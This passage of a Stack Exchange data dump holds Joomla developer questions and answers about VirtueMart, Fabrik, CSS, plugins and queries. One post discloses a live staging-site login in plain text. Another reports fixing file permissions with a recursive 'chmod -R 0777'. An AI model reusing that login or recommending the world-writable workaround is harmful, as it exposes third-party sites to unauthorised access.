'.$db-&amp;gt;q($product_sku));&#xA;$product = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you have to insert the file into the table #__virtuemart_medias, get the virtuemart_media_id from the insertion; and afterwards, you have to insert the relation into the table #__virtuemart_product_medias... good luck.&#xA;I think a good start is here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&#xA;you may also use objects with the class JTable in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastEditorUserId="7023" LastEditDate="2016-03-29T16:06:29.193" LastActivityDate="2016-03-29T16:06:29.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15897" PostTypeId="1" CreationDate="2016-03-29T16:11:39.607" Score="0" ViewCount="82" Body="&lt;p&gt;I have the newest version of Joomla and every was working fine during 2 yeas. &#xA;Since 2 weeks ago any menu entry shows only the home page.  If I change the home page and write &quot;Under Construction&quot; on it, the system saves the changes but does not show them. If I create a new menu with a new article, the system shows always the old homepage and not the new article. I read everything about SEO but it did not help. &#xA;The problem can be shown on this site: &lt;a href=&quot;http://www.c2ny.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.c2ny.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&#xA;Martin Bächtold&lt;/p&gt;&#xA;" OwnerUserId="8118" LastActivityDate="2016-11-30T16:50:56.037" Title="Joomla shows always the home page even if direct to other pages" Tags="|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15898" PostTypeId="1" CreationDate="2016-03-29T16:24:13.477" Score="-1" ViewCount="581" Body="&lt;p&gt;I'm building internal erp based on joomla. main component for forms, database etc is Fabrik. At moment it's works great but I stuck on one field what I have problem to make working on way as I would like to.&#xA;I have a form to edit previously entred data on another form. In this form one of field is Outstanding days. I use calc field type. Trouble is it's don't want to make required calculations.&#xA;my php code for this field is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$datetime1 = new DateTime(date(&quot;Y-m-d&quot;));&#xA;$datetime2 = new DateTime(date_format({enquiries___due_date}, 'Y-m-d'));&#xA;$interval=date_diff($datetime1,$datetime2);&#xA;return $interval;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7952" LastActivityDate="2016-03-31T10:19:59.463" Title="Fabrik calc field and outstanding days" Tags="|fabrik|" AnswerCount="1" CommentCount="2" ClosedDate="2018-06-13T07:20:35.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="15899" PostTypeId="1" AcceptedAnswerId="15900" CreationDate="2016-03-29T19:05:55.463" Score="1" ViewCount="85" Body="&lt;p&gt;I have a strange bug that I can not seem to wrap my head around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the default Joomla Search function, whenever I have either an empty results page (on first load) or less than 20 results for a particular keyword, the footer appears in the middle of the page as if it is not recognizing the search results containing div. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I search for a keyword and the results are greater than 20, the page displays properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also... if I limit the search page results to just 5 for instance and there are more than 5 results, then the page displays normally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the presence of the the bottom page nav affect it somehow? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included screen shots. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the site (UN and PW is required): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://staging.suntechmed.net/search&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://staging.suntechmed.net/search&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Name: suntech&#xA;Password: airportblvd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to search for terms, terms like &quot;hypertension&quot; display properly but &quot;white&quot; doesn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MHBcA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MHBcA.jpg&quot; alt=&quot;An image of the display error when less than 20 results are returned&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8119" LastActivityDate="2016-04-02T21:15:09.297" Title="Search Results Page error if less than 20 search results" Tags="|component|joomla-3.4|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15900" PostTypeId="2" ParentId="15899" CreationDate="2016-03-29T19:28:18.547" Score="2" Body="&lt;p&gt;Your containing div has the class .search and you give that class in custom.css a height of 55px. I assume it's because you want to fit the search button into the main navi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want only your search button in the main navi to have a height of 55px use this rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.head-search .search {&#xA;    height: 55px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-03-29T19:28:18.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15901" PostTypeId="2" ParentId="15899" CreationDate="2016-03-29T19:31:27.197" Score="1" Body="&lt;p&gt;At the bottom of file &lt;code&gt;/templates/purity_iii/css/custom.css&lt;/code&gt; add selector&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.search-results {   &#xA;float:left;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-04-02T21:15:09.297" LastActivityDate="2016-04-02T21:15:09.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15902" PostTypeId="5" CreationDate="2016-03-29T20:11:29.213" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-03-29T20:11:29.213" LastActivityDate="2016-03-29T20:11:29.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15903" PostTypeId="4" CreationDate="2016-03-29T20:11:29.213" Score="0" Body="Falang is an extension to manage multilingual content. It allows you to manage all your content translations (components/modules) of a Joomla! web site." OwnerUserId="5378" LastEditorUserId="9471" LastEditDate="2018-10-13T19:07:33.327" LastActivityDate="2018-10-13T19:07:33.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15904" PostTypeId="2" ParentId="15892" CreationDate="2016-03-30T03:47:06.647" Score="1" Body="&lt;p&gt;I solved it. I found that css style with web developer extension for Mozilla. It comes from Joomla core.&lt;/p&gt;&#xA;" OwnerUserId="7343" LastActivityDate="2016-03-30T03:47:06.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15905" PostTypeId="2" ParentId="15897" CreationDate="2016-03-30T09:22:55.970" Score="1" Body="&lt;p&gt;You seem to be using the T3 framework. I've had very bad experiences with that framework - just now working on an old site using T3. Strange things happen, and some things cannot be set the usual way but must be set in the template options instead. Have you checked those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What comes up in your main content now is nothing but &quot;blog-featured&quot;. A module?&#xA;So maybe an issue with your positions - only this module position is displayed, none of the main content at all.&lt;/p&gt;&#xA;" OwnerUserId="4142" LastActivityDate="2016-03-30T09:22:55.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15906" PostTypeId="2" ParentId="13524" CreationDate="2016-03-30T09:52:05.890" Score="1" Body="&lt;p&gt;Does not seem to be easily possible, currently:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/7809&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/7809&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4142" LastActivityDate="2016-03-30T09:52:05.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15907" PostTypeId="1" CreationDate="2016-03-30T10:09:22.170" Score="0" ViewCount="853" Body="&lt;p&gt;I can't make my VM payment plugin to work at &lt;code&gt;joomla v3.5.0 and virtuemart v3.0.12&lt;/code&gt;. &#xA;I've install a custom payment plugin. Initially it worked, yet the same time other payment methods (when invoked) were wrong directed to my custom plugin payment gateway.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yltyn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yltyn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I've slightly changed it. And now when the plugin is installed and turned on in admin panel, none of payment methods work. As I process with a cart (enter data, choose &lt;em&gt;any&lt;/em&gt; payment method, etc.) and click on 'process' btn. the following error transpires:  &lt;em&gt;Error 500. Site  can't process your request&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the plugin's payment methods settings are not saved in admin (besides defaults):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/d0Klf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0Klf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to break thru, any hints? You may ask additionally questions to clarify the case.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've not done many edits of the plugin code. Mainly small edits were in manifest file &lt;code&gt;latcard.xml&lt;/code&gt; to make parameters savable. But to no positive result. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Manifest file:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&#xA;&amp;lt;extension version=&quot;1&quot; type=&quot;plugin&quot; group=&quot;vmpayment&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;VM - Payment, Latcard&amp;lt;/name&amp;gt;&#xA;&#xA;&amp;lt;creationDate&amp;gt;November 28 2015&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;author&amp;gt;SIA LatCard&amp;lt;/author&amp;gt;&#xA;&amp;lt;authorEmail&amp;gt;bbbb@latcard.lv&amp;lt;/authorEmail&amp;gt;&#xA;&amp;lt;authorUrl&amp;gt;http://www.latcard.eu&amp;lt;/authorUrl&amp;gt;&#xA;&amp;lt;author&amp;gt;LatCard AS&amp;lt;/author&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;November 2015&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;copyright&amp;gt;Copyright SIA LatCard&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;license&amp;gt;http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&amp;lt;/license&amp;gt;&#xA;&amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;&amp;lt;description&amp;gt;&#xA;    &amp;lt;![CDATA[&amp;lt;a href=&quot;http://www.latcard.eu&quot; target=&quot;_blank&quot;&amp;gt;LatCard&amp;lt;/a&amp;gt; ]]&amp;gt;&#xA;&amp;lt;/description&amp;gt;&#xA;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;latcard&quot;&amp;gt;latcard.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;latcard.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;latcard&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;filename&amp;gt;controller.php&amp;lt;/filename&amp;gt;     &#xA;    &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;vmconfig&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/plugins/vmpayment/latcard/latcard/fields&quot;&amp;gt;&#xA;                    &amp;lt;fields addpath=&quot;/plugins/vmpayment/latcard/elements&quot;/&amp;gt;&#xA;                    &amp;lt;fields addpath=&quot;/plugins/vmpayment/latcard/latcard/elements&quot;/&amp;gt;&#xA;                    &amp;lt;fields addpath=&quot;/administrator/components/com_virtuemart/elements&quot;/&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;field name=&quot;merchant&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;Merchant ID&quot; description=&quot;Merchant ID&quot;/&amp;gt;&#xA;                    &amp;lt;field name=&quot;site_id&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;Site ID&quot; description=&quot;Site ID&quot;/&amp;gt;&#xA;                    &amp;lt;field name=&quot;password&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;SOAP password&quot; description=&quot;SOAP password&quot;/&amp;gt;&#xA;&#xA;                    &amp;lt;field name=&quot;secure_3d&quot; type=&quot;radio&quot; default=&quot;1&quot; label=&quot;3D Secure&quot; description=&quot;3D Secure&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;0&quot; &amp;gt;No&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1&quot; &amp;gt;Yes&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/field&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/vmconfig&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="8124" LastEditorUserId="8124" LastEditDate="2016-03-30T11:03:33.077" LastActivityDate="2024-03-14T23:00:40.073" Title="VM - custom payment plugin and payment methods do not work" Tags="|joomla-3.4|plugin|virtuemart|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15910" PostTypeId="1" CreationDate="2016-03-30T12:48:58.200" Score="0" ViewCount="193" Body="&lt;p&gt;I have a query which gets the information that I want using &lt;code&gt;SUBSTRING_INDEX&lt;/code&gt; in MySQL. I am trying to convert this to use the Joomla query building syntax, but I am not sure how it should be formatted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SUBSTRING_INDEX(SUBSTRING_INDEX(SUBSTRING_INDEX(`file_url`, '/', -1), &quot;.&quot;, 1),&quot;-&quot;,1) AS product_sku, `virtuemart_media_id`, `virtuemart_product_id` FROM `jos_virtuemart_medias` INNER JOIN `jos_virtuemart_products` ON SUBSTRING_INDEX(SUBSTRING_INDEX(SUBSTRING_INDEX(`jos_virtuemart_medias`.`file_url`, '/', -1), &quot;.&quot;, 1),&quot;-&quot;,1) = `jos_virtuemart_products`.`product_sku` WHERE 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting stuck at the first hurdle as I really can't figure out how to implement the SELECT statement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise would be most appreciated? I have had a look at the Joomla docs, but it doesn't cover the inclusion of MySQL functions.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2019-02-01T09:01:35.653" LastActivityDate="2024-02-05T22:04:10.463" Title="Convert from MySQL query using SUBSTRING_INDEX into Joomla API query?" Tags="|joomla-3.4|mysql|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15911" PostTypeId="2" ParentId="5550" CreationDate="2016-03-30T14:05:47.793" Score="3" Body="&lt;p&gt;&lt;strong&gt;Complicated CCKs which can do a lot&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried K2, but had no real requirement to extend it. It's very easy to use out of the box.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried SEBLOD for a highly customised app.  I found it confusing, the language didn't make much sense, and I found the support lacking (you have the option to pay for further support).  Given the delay in the support, and some of the glitches, I don't think I will use it on a commercial site again.  They also miss deadlines for updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/fabrik&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fabrik&lt;/a&gt; is another highly complicated app, but you can do a lot with it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crosstec.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Builder&lt;/a&gt; looks promising I will try that next.  It looks as powerful as SEBLOD but integrates well with the core, allows content plugins, and seems to be named in a more user friendly way so you can guess where you need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Easier CCKs which just add fields&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.digital-peak.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DP Fields&lt;/a&gt; is going to be added to the core in the next minor update, and is a really good add on that uses the core.  It allows you to add extra fields to the core (they appear within tabs in articles), but it gets quite basic if you want to really expand Joomla.  It's great for beginners.  I would say this is the easiest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields Attach is similar, but I would recommend the above as it is due to become part of the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doing it manually is not that hard!!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could always extend Joomla! yourself.  It is intended to be reasonably easy to do so.  &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&#xA;&lt;a href=&quot;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, creating additional fields in Joomla is very easy.  Displaying them is slightly harder and may be where you find a CCK to be a good use.  If you just want to add additional fields to registration, you probably just want to extend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Built into Joomla&lt;/strong&gt;&#xA;As per this post and Lodder. &lt;a href=&quot;https://joomla.stackexchange.com/questions/899/how-to-display-user-profile-information&quot;&gt;How to display user profile information?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a in User Profile plugin that comes with Joomla. In the Joomla backend, go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions (top menu) &gt;&gt; Plugin Manager &gt;&gt; User Profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see the following custom fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address 1&#xA;Address 2&#xA;City Region&#xA;Country&#xA;Postal / ZIP Code&#xA;Phone&#xA;Web site&#xA;Favourite Book&#xA;About Me&#xA;Date of Birth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose which ones you want on the registration and profile page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an excellent article explaining how to display certain information.  &lt;a href=&quot;https://joomla.stackexchange.com/questions/899/how-to-display-user-profile-information&quot;&gt;How to display user profile information?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-31T09:00:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15913" PostTypeId="1" CreationDate="2016-03-30T15:46:55.837" Score="2" ViewCount="102" Body="&lt;p&gt;I have an affiliate system that can generate a users affiliate id with a {affiliatecode} if they are logged in and i would like every joomla page to append the users affiliate tracker id to every page so that when they share a link or video ect it will be tracked. Does any one know how to go about this in the core joomla system? Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2016-03-30T15:53:37.030" Title="Append id to every link generated by joomla" Tags="|jquery|url|id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15914" PostTypeId="2" ParentId="15913" CreationDate="2016-03-30T15:52:20.903" Score="1" Body="&lt;p&gt;You could use something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;    var querystring = 'affiliate=12345';&#xA;&#xA;    $('a').each(function() {&#xA;        var href = $(this).attr('href');&#xA;&#xA;        if (href)&#xA;        {&#xA;            href += (href.match(/\?/) ? '&amp;amp;' : '?') + querystring;&#xA;            $(this).attr('href', href);&#xA;        }&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://stackoverflow.com/a/11526172/1362108&quot;&gt;https://stackoverflow.com/a/11526172/1362108&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course changing &lt;code&gt;affiliate=12345&lt;/code&gt; to whatever your affiliate code is.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-03-30T15:53:37.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15915" PostTypeId="1" AcceptedAnswerId="15927" CreationDate="2016-03-30T15:55:38.353" Score="2" ViewCount="153" Body="&lt;p&gt;I use an override of  com_content/views/article/tmpl/default.php to display the author name below the article text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div itemprop=&quot;articleBody&quot;&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text;?&amp;gt;&#xA;&amp;lt;?php echo JLayoutHelper::render('joomla.content.info_block.author', array('item' =&amp;gt; $this-&amp;gt;item, 'params' =&amp;gt; $params, 'position' =&amp;gt; 'below')); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I also use a plugin (Disqus by JW) which is loaded just below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div itemprop=&quot;articleBody&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text; ?&amp;gt;. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the current order is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article  &lt;/li&gt;&#xA;&lt;li&gt;Disqus comment&lt;/li&gt;&#xA;&lt;li&gt;Author &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I force the Disqus plugin to load below the author name so I get in this order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article  &lt;/li&gt;&#xA;&lt;li&gt;Author &lt;/li&gt;&#xA;&lt;li&gt;Disqus comment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2018-07-02T10:43:00.533" LastActivityDate="2018-07-02T10:43:00.533" Title="How to tweak a plugin so it will load below the author?" Tags="|joomla-3.x|plugin|overrides|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15916" PostTypeId="1" CreationDate="2016-03-30T16:56:03.983" Score="0" ViewCount="54" Body="&lt;p&gt;I am creating a multi-vendor shopping site with Zoo and Zoolanders Zoocart extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is left is creating a link that will display all items posted by a single user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Zoo does not have that by default.. Please can someone can help me do that??&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2018-02-19T18:17:26.673" Title="View All Items submitted by a Single User in Yootheme Zoo" Tags="|joomla-3.x|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15918" PostTypeId="2" ParentId="15879" CreationDate="2016-03-30T20:52:28.987" Score="0" Body="&lt;p&gt;I would imagine you could update manually by downloading the update package and doing it by uploading the necessary folders and files rather then using the extension manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/3.5.0&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/releases/tag/3.5.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-03-30T20:52:28.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15919" PostTypeId="1" AcceptedAnswerId="15926" CreationDate="2016-03-30T22:15:07.403" Score="0" ViewCount="88" Body="&lt;p&gt;My requirement is to do an additional custom validation once the users core joomla credentials are validated. If my custom validation fails then I should not allow the user to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there are only 2 plugin methods I can make use of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;onUserLogin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method will be called only after a successful login which is fine.  If I return false it still allows the user to login to the website.  I tried &lt;code&gt;JFactory::getApplication()-&amp;gt;logout();&lt;/code&gt; but it still allows the user to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;onUserAuthenticate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go via this route then I have to implement the whole authentication functionality on my own. (something like copy the core joomla authentication plugin and add my own code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simplest way? I.e, once the core joomla authentication is complete I have to do an additional validation and if fails do not allow the member to login...&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-03-31T06:23:24.460" Title="Additional validation after core login is success" Tags="|joomla-3.x|user|authentication|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15920" PostTypeId="1" CreationDate="2016-03-30T22:43:17.947" Score="1" ViewCount="824" Body="&lt;p&gt;For learning and practical purpose, I create a repo for a complete Joomla folder on a remote linux server, then I push it to github. Then I tried two ways to get the files to my local Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, I download .zip file of the repo from github and unzip them to local dir, then I edit configuration.php to connect to the remote database. The site has no problem opening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I use &quot;github desktop&quot; to clone the repo to local dir, then edit configuration.php. But when I open the website, I get this &quot;Failed to load 'rt_photon' template: mkdir(): Permission denied&quot; error. I know this is related with file owner/permission, but I can't identify what exactly it is. I just do &lt;code&gt;chown -R root:root&lt;/code&gt; and &lt;code&gt;chmod -R 0777&lt;/code&gt; and the website can be open now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Rockettheme's &quot;rt_photon&quot; template, but I think that is probably irrelevant. Can anyone explain to me how file owner/permission affect joomla site and why the cloned repo and the unzipped folder have different file owner/permission setting(suppose this is the reason of the error)?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-04-30T22:33:28.613" Title="using git to clone site and getting &quot;mkdir() permission denied&quot; error" Tags="|templates|permissions|file-permissions|git|github|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15922" PostTypeId="2" ParentId="15916" CreationDate="2016-03-31T02:30:06.017" Score="1" Body="&lt;p&gt;Zoolanders have another plugin call Zooaccess and Module call Zoofilter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this tools you gona success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.zoolanders.com/extensions/zooaccess&quot; rel=&quot;nofollow&quot;&gt;https://www.zoolanders.com/extensions/zooaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.zoolanders.com/extensions/zoofilter&quot; rel=&quot;nofollow&quot;&gt;https://www.zoolanders.com/extensions/zoofilter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-03-31T02:30:06.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15923" PostTypeId="1" CreationDate="2016-03-31T05:01:18.420" Score="0" ViewCount="232" Body="&lt;p&gt;when creating a menu for a component there shows a selection either for a list to show or an individual page. I need to hide the individual selection of page as menu.. How can I hide this?&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2016-03-31T05:44:33.310" Title="Hide a menu item for a joomla component" Tags="|joomla-3.x|component|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
